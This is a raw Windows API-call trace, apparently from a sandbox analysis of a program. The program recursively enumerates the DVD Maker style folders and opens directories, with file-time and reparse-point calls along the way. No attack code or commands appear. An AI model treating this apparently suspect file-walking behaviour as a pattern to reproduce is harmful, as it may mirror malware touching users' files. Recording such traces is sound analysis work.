ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0245.107] GetLastError () returned 0x12 [0245.107] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0245.107] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0245.108] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.108] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0245.108] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0245.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.116] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.116] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.116] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x92d4a0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x92d4a0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.116] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x92d4a0) returned 1 [0245.116] NtClose (Handle=0x1c0) returned 0x0 [0245.116] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.116] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.123] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.123] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0245.123] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.123] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.123] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.123] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.123] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.123] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d740 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929d88 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d760 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929e90 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d780 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929f98 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.124] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d7a0 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a0a0 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb00) returned 0x927508 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x92c9d8) returned 1 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d7c0 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a1a8 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d7e0 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a2b0 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.125] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d800 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a3b8 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlFreeHeap 